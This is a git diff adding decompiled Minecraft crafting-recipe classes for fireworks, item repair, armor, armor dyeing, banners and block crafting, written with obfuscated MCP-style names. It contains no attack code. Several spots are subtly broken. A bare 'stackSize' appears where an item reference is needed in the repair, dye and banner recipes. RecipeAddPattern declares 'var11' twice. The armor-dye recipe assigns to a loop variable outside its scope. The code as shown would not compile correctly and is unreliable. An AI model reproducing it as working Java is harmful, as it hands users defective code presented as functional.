+  public ItemStack getRecipeOutput()
+  {
+    return null;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && ((var4.getItem() instanceof ItemEditableBook)))
+      {
+        var2[var3] = var4;
+        break;
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipeFireworks.java b/src/minecraft/net/minecraft/item/crafting/RecipeFireworks.java
new file mode 100644
index 0000000..21cc671
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipeFireworks.java
@@ -0,0 +1,274 @@
+package net.minecraft.item.crafting;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.world.World;
+
+public class RecipeFireworks
+  implements IRecipe
+{
+  private ItemStack field_92102_a;
+  private static final String __OBFID = "CL_00000083";
+  
+  public RecipeFireworks() {}
+  
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    field_92102_a = null;
+    int var3 = 0;
+    int var4 = 0;
+    int var5 = 0;
+    int var6 = 0;
+    int var7 = 0;
+    int var8 = 0;
+    
+    for (int var9 = 0; var9 < p_77569_1_.getSizeInventory(); var9++)
+    {
+      ItemStack var10 = p_77569_1_.getStackInSlot(var9);
+      
+      if (var10 != null)
+      {
+        if (var10.getItem() == Items.gunpowder)
+        {
+          var4++;
+        }
+        else if (var10.getItem() == Items.firework_charge)
+        {
+          var6++;
+        }
+        else if (var10.getItem() == Items.dye)
+        {
+          var5++;
+        }
+        else if (var10.getItem() == Items.paper)
+        {
+          var3++;
+        }
+        else if (var10.getItem() == Items.glowstone_dust)
+        {
+          var7++;
+        }
+        else if (var10.getItem() == Items.diamond)
+        {
+          var7++;
+        }
+        else if (var10.getItem() == Items.fire_charge)
+        {
+          var8++;
+        }
+        else if (var10.getItem() == Items.feather)
+        {
+          var8++;
+        }
+        else if (var10.getItem() == Items.gold_nugget)
+        {
+          var8++;
+        }
+        else
+        {
+          if (var10.getItem() != Items.skull)
+          {
+            return false;
+          }
+          
+          var8++;
+        }
+      }
+    }
+    
+    var7 += var5 + var8;
+    
+    if ((var4 <= 3) && (var3 <= 1))
+    {
+
+
+
+      if ((var4 >= 1) && (var3 == 1) && (var7 == 0))
+      {
+        field_92102_a = new ItemStack(Items.fireworks);
+        
+        if (var6 > 0)
+        {
+          NBTTagCompound var16 = new NBTTagCompound();
+          NBTTagCompound var19 = new NBTTagCompound();
+          NBTTagList var23 = new NBTTagList();
+          
+          for (int var24 = 0; var24 < p_77569_1_.getSizeInventory(); var24++)
+          {
+            ItemStack var26 = p_77569_1_.getStackInSlot(var24);
+            
+            if ((var26 != null) && (var26.getItem() == Items.firework_charge) && (var26.hasTagCompound()) && (var26.getTagCompound().hasKey("Explosion", 10)))
+            {
+              var23.appendTag(var26.getTagCompound().getCompoundTag("Explosion"));
+            }
+          }
+          
+          var19.setTag("Explosions", var23);
+          var19.setByte("Flight", (byte)var4);
+          var16.setTag("Fireworks", var19);
+          field_92102_a.setTagCompound(var16);
+        }
+        
+        return true;
+      }
+      if ((var4 == 1) && (var3 == 0) && (var6 == 0) && (var5 > 0) && (var8 <= 1))
+      {
+        field_92102_a = new ItemStack(Items.firework_charge);
+        NBTTagCompound var16 = new NBTTagCompound();
+        NBTTagCompound var19 = new NBTTagCompound();
+        byte var22 = 0;
+        ArrayList var12 = Lists.newArrayList();
+        
+        for (int var13 = 0; var13 < p_77569_1_.getSizeInventory(); var13++)
+        {
+          ItemStack var14 = p_77569_1_.getStackInSlot(var13);
+          
+          if (var14 != null)
+          {
+            if (var14.getItem() == Items.dye)
+            {
+              var12.add(Integer.valueOf(net.minecraft.item.ItemDye.dyeColors[(var14.getMetadata() & 0xF)]));
+            }
+            else if (var14.getItem() == Items.glowstone_dust)
+            {
+              var19.setBoolean("Flicker", true);
+            }
+            else if (var14.getItem() == Items.diamond)
+            {
+              var19.setBoolean("Trail", true);
+            }
+            else if (var14.getItem() == Items.fire_charge)
+            {
+              var22 = 1;
+            }
+            else if (var14.getItem() == Items.feather)
+            {
+              var22 = 4;
+            }
+            else if (var14.getItem() == Items.gold_nugget)
+            {
+              var22 = 2;
+            }
+            else if (var14.getItem() == Items.skull)
+            {
+              var22 = 3;
+            }
+          }
+        }
+        
+        int[] var25 = new int[var12.size()];
+        
+        for (int var27 = 0; var27 < var25.length; var27++)
+        {
+          var25[var27] = ((Integer)var12.get(var27)).intValue();
+        }
+        
+        var19.setIntArray("Colors", var25);
+        var19.setByte("Type", var22);
+        var16.setTag("Explosion", var19);
+        field_92102_a.setTagCompound(var16);
+        return true;
+      }
+      if ((var4 == 0) && (var3 == 0) && (var6 == 1) && (var5 > 0) && (var5 == var7))
+      {
+        ArrayList var15 = Lists.newArrayList();
+        
+        for (int var17 = 0; var17 < p_77569_1_.getSizeInventory(); var17++)
+        {
+          ItemStack var11 = p_77569_1_.getStackInSlot(var17);
+          
+          if (var11 != null)
+          {
+            if (var11.getItem() == Items.dye)
+            {
+              var15.add(Integer.valueOf(net.minecraft.item.ItemDye.dyeColors[(var11.getMetadata() & 0xF)]));
+            }
+            else if (var11.getItem() == Items.firework_charge)
+            {
+              field_92102_a = var11.copy();
+              field_92102_a.stackSize = 1;
+            }
+          }
+        }
+        
+        int[] var18 = new int[var15.size()];
+        
+        for (int var20 = 0; var20 < var18.length; var20++)
+        {
+          var18[var20] = ((Integer)var15.get(var20)).intValue();
+        }
+        
+        if ((field_92102_a != null) && (field_92102_a.hasTagCompound()))
+        {
+          NBTTagCompound var21 = field_92102_a.getTagCompound().getCompoundTag("Explosion");
+          
+          if (var21 == null)
+          {
+            return false;
+          }
+          
+
+          var21.setIntArray("FadeColors", var18);
+          return true;
+        }
+        
+
+
+        return false;
+      }
+      
+
+
+      return false;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    return field_92102_a.copy();
+  }
+  
+
+
+
+  public int getRecipeSize()
+  {
+    return 10;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return field_92102_a;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipeRepairItem.java b/src/minecraft/net/minecraft/item/crafting/RecipeRepairItem.java
new file mode 100644
index 0000000..79ed085
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipeRepairItem.java
@@ -0,0 +1,126 @@
+package net.minecraft.item.crafting;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class RecipeRepairItem
+  implements IRecipe
+{
+  private static final String __OBFID = "CL_00002156";
+  
+  public RecipeRepairItem() {}
+  
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    
+    for (int var4 = 0; var4 < p_77569_1_.getSizeInventory(); var4++)
+    {
+      ItemStack var5 = p_77569_1_.getStackInSlot(var4);
+      
+      if (var5 != null)
+      {
+        var3.add(var5);
+        
+        if (var3.size() > 1)
+        {
+          ItemStack var6 = (ItemStack)var3.get(0);
+          
+          if ((var5.getItem() != var6.getItem()) || (stackSize != 1) || (stackSize != 1) || (!var6.getItem().isDamageable()))
+          {
+            return false;
+          }
+        }
+      }
+    }
+    
+    return var3.size() == 2;
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    
+
+    for (int var3 = 0; var3 < p_77572_1_.getSizeInventory(); var3++)
+    {
+      ItemStack var4 = p_77572_1_.getStackInSlot(var3);
+      
+      if (var4 != null)
+      {
+        var2.add(var4);
+        
+        if (var2.size() > 1)
+        {
+          ItemStack var5 = (ItemStack)var2.get(0);
+          
+          if ((var4.getItem() != var5.getItem()) || (stackSize != 1) || (stackSize != 1) || (!var5.getItem().isDamageable()))
+          {
+            return null;
+          }
+        }
+      }
+    }
+    
+    if (var2.size() == 2)
+    {
+      ItemStack var10 = (ItemStack)var2.get(0);
+      ItemStack var4 = (ItemStack)var2.get(1);
+      
+      if ((var10.getItem() == var4.getItem()) && (stackSize == 1) && (stackSize == 1) && (var10.getItem().isDamageable()))
+      {
+        Item var11 = var10.getItem();
+        int var6 = var11.getMaxDamage() - var10.getItemDamage();
+        int var7 = var11.getMaxDamage() - var4.getItemDamage();
+        int var8 = var6 + var7 + var11.getMaxDamage() * 5 / 100;
+        int var9 = var11.getMaxDamage() - var8;
+        
+        if (var9 < 0)
+        {
+          var9 = 0;
+        }
+        
+        return new ItemStack(var10.getItem(), 1, var9);
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public int getRecipeSize()
+  {
+    return 4;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return null;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesArmor.java b/src/minecraft/net/minecraft/item/crafting/RecipesArmor.java
new file mode 100644
index 0000000..ac62879
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesArmor.java
@@ -0,0 +1,34 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class RecipesArmor
+{
+  private String[][] recipePatterns = { { "XXX", "X X" }, { "X X", "XXX", "XXX" }, { "XXX", "X X", "X X" }, { "X X", "X X" } };
+  private Item[][] recipeItems;
+  private static final String __OBFID = "CL_00000080";
+  
+  public RecipesArmor()
+  {
+    recipeItems = new Item[][] { { Items.leather, Items.iron_ingot, Items.diamond, Items.gold_ingot }, { Items.leather_helmet, Items.iron_helmet, Items.diamond_helmet, Items.golden_helmet }, { Items.leather_chestplate, Items.iron_chestplate, Items.diamond_chestplate, Items.golden_chestplate }, { Items.leather_leggings, Items.iron_leggings, Items.diamond_leggings, Items.golden_leggings }, { Items.leather_boots, Items.iron_boots, Items.diamond_boots, Items.golden_boots } };
+  }
+  
+
+
+
+  public void addRecipes(CraftingManager p_77609_1_)
+  {
+    for (int var2 = 0; var2 < recipeItems[0].length; var2++)
+    {
+      Item var3 = recipeItems[0][var2];
+      
+      for (int var4 = 0; var4 < recipeItems.length - 1; var4++)
+      {
+        Item var5 = recipeItems[(var4 + 1)][var2];
+        p_77609_1_.addRecipe(new ItemStack(var5), new Object[] { recipePatterns[var4], Character.valueOf('X'), var3 });
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesArmorDyes.java b/src/minecraft/net/minecraft/item/crafting/RecipesArmorDyes.java
new file mode 100644
index 0000000..906bf9a
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesArmorDyes.java
@@ -0,0 +1,174 @@
+package net.minecraft.item.crafting;
+
+import java.util.ArrayList;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class RecipesArmorDyes implements IRecipe
+{
+  private static final String __OBFID = "CL_00000079";
+  
+  public RecipesArmorDyes() {}
+  
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    ItemStack var3 = null;
+    ArrayList var4 = com.google.common.collect.Lists.newArrayList();
+    
+    for (int var5 = 0; var5 < p_77569_1_.getSizeInventory(); var5++)
+    {
+      ItemStack var6 = p_77569_1_.getStackInSlot(var5);
+      
+      if (var6 != null)
+      {
+        if ((var6.getItem() instanceof ItemArmor))
+        {
+          ItemArmor var7 = (ItemArmor)var6.getItem();
+          
+          if ((var7.getArmorMaterial() != ItemArmor.ArmorMaterial.LEATHER) || (var3 != null))
+          {
+            return false;
+          }
+          
+          var3 = var6;
+        }
+        else
+        {
+          if (var6.getItem() != Items.dye)
+          {
+            return false;
+          }
+          
+          var4.add(var6);
+        }
+      }
+    }
+    
+    return (var3 != null) && (!var4.isEmpty());
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    ItemStack var2 = null;
+    int[] var3 = new int[3];
+    int var4 = 0;
+    int var5 = 0;
+    ItemArmor var6 = null;
+    
+
+
+
+
+
+    for (int var7 = 0; var7 < p_77572_1_.getSizeInventory(); var7++)
+    {
+      ItemStack var8 = p_77572_1_.getStackInSlot(var7);
+      
+      if (var8 != null)
+      {
+        if ((var8.getItem() instanceof ItemArmor))
+        {
+          var6 = (ItemArmor)var8.getItem();
+          
+          if ((var6.getArmorMaterial() != ItemArmor.ArmorMaterial.LEATHER) || (var2 != null))
+          {
+            return null;
+          }
+          
+          var2 = var8.copy();
+          stackSize = 1;
+          
+          if (var6.hasColor(var8))
+          {
+            int var9 = var6.getColor(var2);
+            float var10 = (var9 >> 16 & 0xFF) / 255.0F;
+            float var11 = (var9 >> 8 & 0xFF) / 255.0F;
+            float var12 = (var9 & 0xFF) / 255.0F;
+            var4 = (int)(var4 + Math.max(var10, Math.max(var11, var12)) * 255.0F);
+            var3[0] = ((int)(var3[0] + var10 * 255.0F));
+            var3[1] = ((int)(var3[1] + var11 * 255.0F));
+            var3[2] = ((int)(var3[2] + var12 * 255.0F));
+            var5++;
+          }
+        }
+        else
+        {
+          if (var8.getItem() != Items.dye)
+          {
+            return null;
+          }
+          
+          float[] var14 = EntitySheep.func_175513_a(EnumDyeColor.func_176766_a(var8.getMetadata()));
+          int var15 = (int)(var14[0] * 255.0F);
+          int var16 = (int)(var14[1] * 255.0F);
+          int var17 = (int)(var14[2] * 255.0F);
+          var4 += Math.max(var15, Math.max(var16, var17));
+          var3[0] += var15;
+          var3[1] += var16;
+          var3[2] += var17;
+          var5++;
+        }
+      }
+    }
+    
+    if (var6 == null)
+    {
+      return null;
+    }
+    
+
+    var7 = var3[0] / var5;
+    int var13 = var3[1] / var5;
+    int var9 = var3[2] / var5;
+    float var10 = var4 / var5;
+    float var11 = Math.max(var7, Math.max(var13, var9));
+    var7 = (int)(var7 * var10 / var11);
+    var13 = (int)(var13 * var10 / var11);
+    var9 = (int)(var9 * var10 / var11);
+    int var17 = (var7 << 8) + var13;
+    var17 = (var17 << 8) + var9;
+    var6.func_82813_b(var2, var17);
+    return var2;
+  }
+  
+
+
+
+
+  public int getRecipeSize()
+  {
+    return 10;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return null;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesBanners.java b/src/minecraft/net/minecraft/item/crafting/RecipesBanners.java
new file mode 100644
index 0000000..141785d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesBanners.java
@@ -0,0 +1,398 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.tileentity.TileEntityBanner.EnumBannerPattern;
+
+public class RecipesBanners
+{
+  private static final String __OBFID = "CL_00002160";
+  
+  public RecipesBanners() {}
+  
+  void func_179534_a(CraftingManager p_179534_1_)
+  {
+    EnumDyeColor[] var2 = EnumDyeColor.values();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      EnumDyeColor var5 = var2[var4];
+      p_179534_1_.addRecipe(new ItemStack(Items.banner, 1, var5.getDyeColorDamage()), new Object[] { "###", "###", " | ", Character.valueOf('#'), new ItemStack(net.minecraft.init.Blocks.wool, 1, var5.func_176765_a()), Character.valueOf('|'), Items.stick });
+    }
+    
+    p_179534_1_.func_180302_a(new RecipeDuplicatePattern(null));
+    p_179534_1_.func_180302_a(new RecipeAddPattern(null));
+  }
+  
+  static class RecipeAddPattern implements IRecipe
+  {
+    private static final String __OBFID = "CL_00002158";
+    
+    private RecipeAddPattern() {}
+    
+    public boolean matches(InventoryCrafting p_77569_1_, net.minecraft.world.World worldIn)
+    {
+      boolean var3 = false;
+      
+      for (int var4 = 0; var4 < p_77569_1_.getSizeInventory(); var4++)
+      {
+        ItemStack var5 = p_77569_1_.getStackInSlot(var4);
+        
+        if ((var5 != null) && (var5.getItem() == Items.banner))
+        {
+          if (var3)
+          {
+            return false;
+          }
+          
+          if (TileEntityBanner.func_175113_c(var5) >= 6)
+          {
+            return false;
+          }
+          
+          var3 = true;
+        }
+      }
+      
+      if (!var3)
+      {
+        return false;
+      }
+      
+
+      return func_179533_c(p_77569_1_) != null;
+    }
+    
+
+    public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+    {
+      ItemStack var2 = null;
+      
+      for (int var3 = 0; var3 < p_77572_1_.getSizeInventory(); var3++)
+      {
+        ItemStack var4 = p_77572_1_.getStackInSlot(var3);
+        
+        if ((var4 != null) && (var4.getItem() == Items.banner))
+        {
+          var2 = var4.copy();
+          stackSize = 1;
+          break;
+        }
+      }
+      
+      TileEntityBanner.EnumBannerPattern var8 = func_179533_c(p_77572_1_);
+      
+      if (var8 != null)
+      {
+        int var9 = 0;
+        
+
+        for (int var5 = 0; var5 < p_77572_1_.getSizeInventory(); var5++)
+        {
+          ItemStack var6 = p_77572_1_.getStackInSlot(var5);
+          
+          if ((var6 != null) && (var6.getItem() == Items.dye))
+          {
+            var9 = var6.getMetadata();
+            break;
+          }
+        }
+        
+        NBTTagCompound var10 = var2.getSubCompound("BlockEntityTag", true);
+        ItemStack var6 = null;
+        net.minecraft.nbt.NBTTagList var11;
+        net.minecraft.nbt.NBTTagList var11;
+        if (var10.hasKey("Patterns", 9))
+        {
+          var11 = var10.getTagList("Patterns", 10);
+        }
+        else
+        {
+          var11 = new net.minecraft.nbt.NBTTagList();
+          var10.setTag("Patterns", var11);
+        }
+        
+        NBTTagCompound var7 = new NBTTagCompound();
+        var7.setString("Pattern", var8.func_177273_b());
+        var7.setInteger("Color", var9);
+        var11.appendTag(var7);
+      }
+      
+      return var2;
+    }
+    
+    public int getRecipeSize()
+    {
+      return 10;
+    }
+    
+    public ItemStack getRecipeOutput()
+    {
+      return null;
+    }
+    
+    public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+    {
+      ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+      
+      for (int var3 = 0; var3 < var2.length; var3++)
+      {
+        ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+        
+        if ((var4 != null) && (var4.getItem().hasContainerItem()))
+        {
+          var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+        }
+      }
+      
+      return var2;
+    }
+    
+    private TileEntityBanner.EnumBannerPattern func_179533_c(InventoryCrafting p_179533_1_)
+    {
+      TileEntityBanner.EnumBannerPattern[] var2 = TileEntityBanner.EnumBannerPattern.values();
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        TileEntityBanner.EnumBannerPattern var5 = var2[var4];
+        
+        if (var5.func_177270_d())
+        {
+          boolean var6 = true;
+          
+
+          if (var5.func_177269_e())
+          {
+            boolean var12 = false;
+            boolean var13 = false;
+            
+            for (int var9 = 0; (var9 < p_179533_1_.getSizeInventory()) && (var6); var9++)
+            {
+              ItemStack var14 = p_179533_1_.getStackInSlot(var9);
+              
+              if ((var14 != null) && (var14.getItem() != Items.banner))
+              {
+                if (var14.getItem() == Items.dye)
+                {
+                  if (var13)
+                  {
+                    var6 = false;
+                    break;
+                  }
+                  
+                  var13 = true;
+                }
+                else
+                {
+                  if ((var12) || (!var14.isItemEqual(var5.func_177272_f())))
+                  {
+                    var6 = false;
+                    break;
+                  }
+                  
+                  var12 = true;
+                }
+              }
+            }
+            
+            if (!var12)
+            {
+              var6 = false;
+            }
+          }
+          else if (p_179533_1_.getSizeInventory() != var5.func_177267_c().length * var5.func_177267_c()[0].length())
+          {
+            var6 = false;
+          }
+          else
+          {
+            int var7 = -1;
+            
+            for (int var8 = 0; (var8 < p_179533_1_.getSizeInventory()) && (var6); var8++)
+            {
+              int var9 = var8 / 3;
+              int var10 = var8 % 3;
+              ItemStack var11 = p_179533_1_.getStackInSlot(var8);
+              
+              if ((var11 != null) && (var11.getItem() != Items.banner))
+              {
+                if (var11.getItem() != Items.dye)
+                {
+                  var6 = false;
+                  break;
+                }
+                
+                if ((var7 != -1) && (var7 != var11.getMetadata()))
+                {
+                  var6 = false;
+                  break;
+                }
+                
+                if (var5.func_177267_c()[var9].charAt(var10) == ' ')
+                {
+                  var6 = false;
+                  break;
+                }
+                
+                var7 = var11.getMetadata();
+              }
+              else if (var5.func_177267_c()[var9].charAt(var10) != ' ')
+              {
+                var6 = false;
+                break;
+              }
+            }
+          }
+          
+          if (var6)
+          {
+            return var5;
+          }
+        }
+      }
+      
+      return null;
+    }
+    
+    RecipeAddPattern(Object p_i45780_1_)
+    {
+      this();
+    }
+  }
+  
+  static class RecipeDuplicatePattern implements IRecipe
+  {
+    private static final String __OBFID = "CL_00002157";
+    
+    private RecipeDuplicatePattern() {}
+    
+    public boolean matches(InventoryCrafting p_77569_1_, net.minecraft.world.World worldIn)
+    {
+      ItemStack var3 = null;
+      ItemStack var4 = null;
+      
+      for (int var5 = 0; var5 < p_77569_1_.getSizeInventory(); var5++)
+      {
+        ItemStack var6 = p_77569_1_.getStackInSlot(var5);
+        
+        if (var6 != null)
+        {
+          if (var6.getItem() != Items.banner)
+          {
+            return false;
+          }
+          
+          if ((var3 != null) && (var4 != null))
+          {
+            return false;
+          }
+          
+          int var7 = TileEntityBanner.getBaseColor(var6);
+          boolean var8 = TileEntityBanner.func_175113_c(var6) > 0;
+          
+          if (var3 != null)
+          {
+            if (var8)
+            {
+              return false;
+            }
+            
+            if (var7 != TileEntityBanner.getBaseColor(var3))
+            {
+              return false;
+            }
+            
+            var4 = var6;
+          }
+          else if (var4 != null)
+          {
+            if (!var8)
+            {
+              return false;
+            }
+            
+            if (var7 != TileEntityBanner.getBaseColor(var4))
+            {
+              return false;
+            }
+            
+            var3 = var6;
+          }
+          else if (var8)
+          {
+            var3 = var6;
+          }
+          else
+          {
+            var4 = var6;
+          }
+        }
+      }
+      
+      return (var3 != null) && (var4 != null);
+    }
+    
+    public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+    {
+      for (int var2 = 0; var2 < p_77572_1_.getSizeInventory(); var2++)
+      {
+        ItemStack var3 = p_77572_1_.getStackInSlot(var2);
+        
+        if ((var3 != null) && (TileEntityBanner.func_175113_c(var3) > 0))
+        {
+          ItemStack var4 = var3.copy();
+          stackSize = 1;
+          return var4;
+        }
+      }
+      
+      return null;
+    }
+    
+    public int getRecipeSize()
+    {
+      return 2;
+    }
+    
+    public ItemStack getRecipeOutput()
+    {
+      return null;
+    }
+    
+    public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+    {
+      ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+      
+      for (int var3 = 0; var3 < var2.length; var3++)
+      {
+        ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+        
+        if (var4 != null)
+        {
+          if (var4.getItem().hasContainerItem())
+          {
+            var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+          }
+          else if ((var4.hasTagCompound()) && (TileEntityBanner.func_175113_c(var4) > 0))
+          {
+            var2[var3] = var4.copy();
+            stackSize = 1;
+          }
+        }
+      }
+      
+      return var2;
+    }
+    
+    RecipeDuplicatePattern(Object p_i45779_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesCrafting.java b/src/minecraft/net/minecraft/item/crafting/RecipesCrafting.java
new file mode 100644
index 0000000..21b3bbc
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesCrafting.java
@@ -0,0 +1,61 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.BlockPrismarine;
+import net.minecraft.block.BlockQuartz.EnumType;
+import net.minecraft.block.BlockRedSandstone.EnumType;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.BlockSandStone.EnumType;
+import net.minecraft.block.BlockStone.EnumType;
+import net.minecraft.block.BlockStoneBrick;
+import net.minecraft.block.BlockStoneSlab.EnumType;
+import net.minecraft.block.BlockStoneSlabNew.EnumType;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+
+
+public class RecipesCrafting
+{
+  private static final String __OBFID = "CL_00000095";
+  
+  public RecipesCrafting() {}
+  
+  public void addRecipes(CraftingManager p_77589_1_)
+  {
+    p_77589_1_.addRecipe(new ItemStack(Blocks.chest), new Object[] { "###", "# #", "###", Character.valueOf('#'), Blocks.planks });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.trapped_chest), new Object[] { "#-", Character.valueOf('#'), Blocks.chest, Character.valueOf('-'), Blocks.tripwire_hook });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.ender_chest), new Object[] { "###", "#E#", "###", Character.valueOf('#'), Blocks.obsidian, Character.valueOf('E'), Items.ender_eye });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.furnace), new Object[] { "###", "# #", "###", Character.valueOf('#'), Blocks.cobblestone });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.crafting_table), new Object[] { "##", "##", Character.valueOf('#'), Blocks.planks });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.sandstone), new Object[] { "##", "##", Character.valueOf('#'), new ItemStack(Blocks.sand, 1, BlockSand.EnumType.SAND.func_176688_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.red_sandstone), new Object[] { "##", "##", Character.valueOf('#'), new ItemStack(Blocks.sand, 1, BlockSand.EnumType.RED_SAND.func_176688_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.sandstone, 4, BlockSandStone.EnumType.SMOOTH.func_176675_a()), new Object[] { "##", "##", Character.valueOf('#'), new ItemStack(Blocks.sandstone, 1, BlockSandStone.EnumType.DEFAULT.func_176675_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.red_sandstone, 4, BlockRedSandstone.EnumType.SMOOTH.getMetaFromState()), new Object[] { "##", "##", Character.valueOf('#'), new ItemStack(Blocks.red_sandstone, 1, BlockRedSandstone.EnumType.DEFAULT.getMetaFromState()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.sandstone, 1, BlockSandStone.EnumType.CHISELED.func_176675_a()), new Object[] { "#", "#", Character.valueOf('#'), new ItemStack(Blocks.stone_slab, 1, BlockStoneSlab.EnumType.SAND.func_176624_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.red_sandstone, 1, BlockRedSandstone.EnumType.CHISELED.getMetaFromState()), new Object[] { "#", "#", Character.valueOf('#'), new ItemStack(Blocks.stone_slab2, 1, BlockStoneSlabNew.EnumType.RED_SANDSTONE.func_176915_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.quartz_block, 1, BlockQuartz.EnumType.CHISELED.getMetaFromState()), new Object[] { "#", "#", Character.valueOf('#'), new ItemStack(Blocks.stone_slab, 1, BlockStoneSlab.EnumType.QUARTZ.func_176624_a()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.quartz_block, 2, BlockQuartz.EnumType.LINES_Y.getMetaFromState()), new Object[] { "#", "#", Character.valueOf('#'), new ItemStack(Blocks.quartz_block, 1, BlockQuartz.EnumType.DEFAULT.getMetaFromState()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.stonebrick, 4), new Object[] { "##", "##", Character.valueOf('#'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.STONE.getMetaFromState()) });
